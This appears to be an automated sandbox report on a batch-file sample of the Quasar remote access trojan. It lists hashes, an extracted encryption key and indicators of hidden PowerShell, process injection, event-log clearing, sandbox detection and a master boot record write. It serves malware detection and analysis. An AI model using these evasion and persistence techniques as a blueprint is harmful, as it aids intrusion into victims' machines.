quasar | f3cbb5d82cd929211283435c7dd79e7c853449ad23e7d4895b9fc0427759ba7f

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-01-2025 19:02

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General

Target

filetest.bat
Size

7.9MB
MD5

f88d18fc65296a1ed460e40a352e3045
SHA1

f6d9d94da2f11d0485ca057a057a06ac492bde8c
SHA256

f3cbb5d82cd929211283435c7dd79e7c853449ad23e7d4895b9fc0427759ba7f
SHA512

f193edd5c475040928e188b756d27ecb2f61ef6a1d7392bdb62e6d5bcdd5c37272849a298e9cc6265b5f67890881971ecf28f93e98edd90f6f536190999ed367
SSDEEP

49152:h4ANZ4/rNl/dichvhGpPK7kMes5mmCq/BWZHtPrBe7XTADqoh6EKQJS2H/WkTb/2:6

Score

10^/10

quasar bootkit defense_evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
B98A458BCEB5C110558E7281A7F389412ABA4472
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5012-1391-0x000002002C920000-0x000002002D08A000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1376 created 608	1376	powershell.exe	5
PID 5012 created 608	5012	powershell.exe	5

Blocklisted process makes network request 3 IoCs

flow	pid	Process
16	5012	powershell.exe
17	5012	powershell.exe
19	5012	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5012	powershell.exe
1376	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Deletes itself 1 IoCs

pid	Process
1376	powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\$nya-z0SilnkG	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1376 set thread context of 1176	1376	powershell.exe	88
PID 5012 set thread context of 116	5012	powershell.exe	99

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File created	C:\Windows\$nya-onimai2\uninstalling	powershell.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00188011F0282318"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ncjdmjrqucrhbz\DeviceId = "<Data LastUpdatedTime=\"1737140554\"><User username=\"02NCJDMJRQUCRHBZ\"><HardwareInfo BoundTime=\"1737140554\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ncjdmjrqucrhbz	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000c1e2a9fcfa94ea4cb5e06615c6f3d40c0000000002000000000010660000000100002000000085077611e6acca042dc4783b49844a94fd591fba343095114222ed0004f8c6fb000000000e800000000200002000000067215b0d0957b28f1b8d21c009bdfe5fab40766695d4c4bdb876811d704868a9b00300000a3f556ff9f40d7dcaa094a6ffd154cdccab870ace31655baae8af5dc0abb691cc8a4d046738462b7227dd21932d02977271ab7b4db4612c8005954dadd36686bfea222c4a39da29e292ff000c1d78166cdbf30305e01369d14dc9be2983af480bfaaa9b8d58dbff2aa9dc70382d112cda52e8ec926e4bbd106baa6f714c93225ba586648b9c970794e4c9a2580b84b380d664933c1d50beeee508e4024d1c2903da3bbae050e5d17e077ccae743340c812b0148d735b5e2b31d0ad0dd0b5e3363a94d626f2c11941cec2e7ede3e8e35d34c52fa6a1eb33fab9e5ad95aa4552a6035a29dd70ba088abed7a2ac2055d0a1b3340d5837c03b2c3d64b4bbf057e974c0de6dcc4bdc675ab9fdbae1291be065aee2dacca8e11a26709cb739c909b6040c065929d2b9da5e6318be02650682be1acbc8d718501b7afea3f7c0f891cecae4c9c60f1f2bf840096e4284db52eb46211612e9a6978cddb53157c842653551578b6b06f1c6ad732af430047b353dd56bcd9e2e53e70b26d891427708051c0bf38b8b0d4bc54754072f21648e007514a9f24e3feaa15959ea2f7becd616390b4ef831b9e12e5e633f6b5687920fef2c9136ddb15cb9f4bd7613ff2a54b408d7f3efa219922bd4ebffc3c90e7464db16d6248c7a4480241bb1f8e5ad8d7e805b2ec88f7666f57e6f2671d57e4cec65314376f569512ded821d7d6f770f6d1286bfe9cd5e05146ee9206effb3415200fb0472c2047fedf5c33afdabea6a18d053f017f08ce2375e3d01db2cd2b2bc8851cdd8e8659eaaf3e9f394bc6c3c8b501a4064e13e79b88ae7d9e431d97459dc231563d31b154d9effdaebf8e871a74076893ce278d847a08741bec348e2224fef5b4f245952c88fd9a3e5ba748a0a5e2ee4780cb30cc243c6501f17c817c85a5bde188ef2ed08a890fc346798c90d89cd4ffaa0385de5e29a971ce0cb02b335b144173b5ec83ad5888519ccb6a6a1cade186820643e0ba1c025d3a359263390528ad405ff9a7bfc696cdfcaeb53a9aca3fa902f1b24e8db95b5cae4d7146cb0228f43047b164d25ac883a6bfbf172081944ae4b863b1ee05bd2794e97c5988f8c27d2e1ccd3ac3bb0291d3d6a03b122e9e326bf751818ca8328bf1ac471c8a26fcf4cdc1bb494a49546847e3e0d48232522c585acde833fc24b9baa72cdc1e4692b79650a05c77844c335ac2f114b3d190aa3849c737ba55e87417c18511be09992591a56df40a51ab8dadb70d9e69245b40bb9cd0e7edcbf7b4190a2dd56908fd46ca45364a51cf246b6f9806ab0c3dad191e1518da9520bf7880a2c2d5a9d8400000002318e4c48b10130cf3fd85c6d6daf136ef15ff2d2d16dc4a10cf2385a47b4785501e6e6aecb27de79614cbc49ccf7115b80686ae3380e294c6a612660fbc2785	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ncjdmjrqucrhbz\Provision Friday, January 17, 2025 19:02:33 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAweKp/PqU6ky14GYVxvPUDAAAAAACAAAAAAAQZgAAAAEAACAAAABVa7LugHlNcxZZgl9+4dV1RUjSdl64ZPLaasBeXBzFOgAAAAAOgAAAAAIAACAAAAC8KtGVH2tWtYs6XIlXUvV7dEciMPKDIO9Df5LUN2Gv2iAAAACmW2Rc3Q5PpxzjJFYClJXozyNJrmj/l1OwYcvC+iemPkAAAABzTpi3psMcct8SvUXoKfw2G2jU21KmdkXOMA087AiXSHPNxpk/ZRsUjnqpbMeOcCT34td5ONPRSXiFYfiNwHy3"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02ncjdmjrqucrhbz"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00188011F0282318 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000c1e2a9fcfa94ea4cb5e06615c6f3d40c0000000002000000000010660000000100002000000066c4f3f03a8671e217bdd02fb79c4183ba38f4f01356e51b4957f0663a66c1ae000000000e8000000002000020000000a78669c63bb0587ba385cdedef19ad10c453dae56a6094181fd6041710aaaddc80000000f825014832ec71ac5303e6bc6b9e2fe390b421026e876708bb1c0d0018818a527f30c12e888dfb27b3ffe2de112977d51e9df72e1d91c7f5343dcd7d78dcef1f5e84fb98b6f4a3e9e87111e9e1ed5eacf6f00082ec631c5abee07b5b0ec64fb4b1b94d30620af6e4f996ae3a616f2d5ba1bf1e96d2f9308c3044c37ba7cbb27c40000000de1a6001b3ffa296ceb288d65f20ad8d78b8512e5678b72f0435c10e68ea44655424325ccbff4b904b38a2a4856e2ca8487307c69c17357484fe793c994def8a	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 17 Jan 2025 19:03:51 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ncjdmjrqucrhbz\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ncjdmjrqucrhbz\DeviceId = "<Data LastUpdatedTime=\"1737140554\"><User username=\"02NCJDMJRQUCRHBZ\"/></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ncjdmjrqucrhbz	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1737140631"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1316	powershell.exe
1316	powershell.exe
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
3936	powershell.exe
1176	dllhost.exe
1176	dllhost.exe
3936	powershell.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
5012	powershell.exe
1176	dllhost.exe
1176	dllhost.exe
5012	powershell.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
1176	dllhost.exe
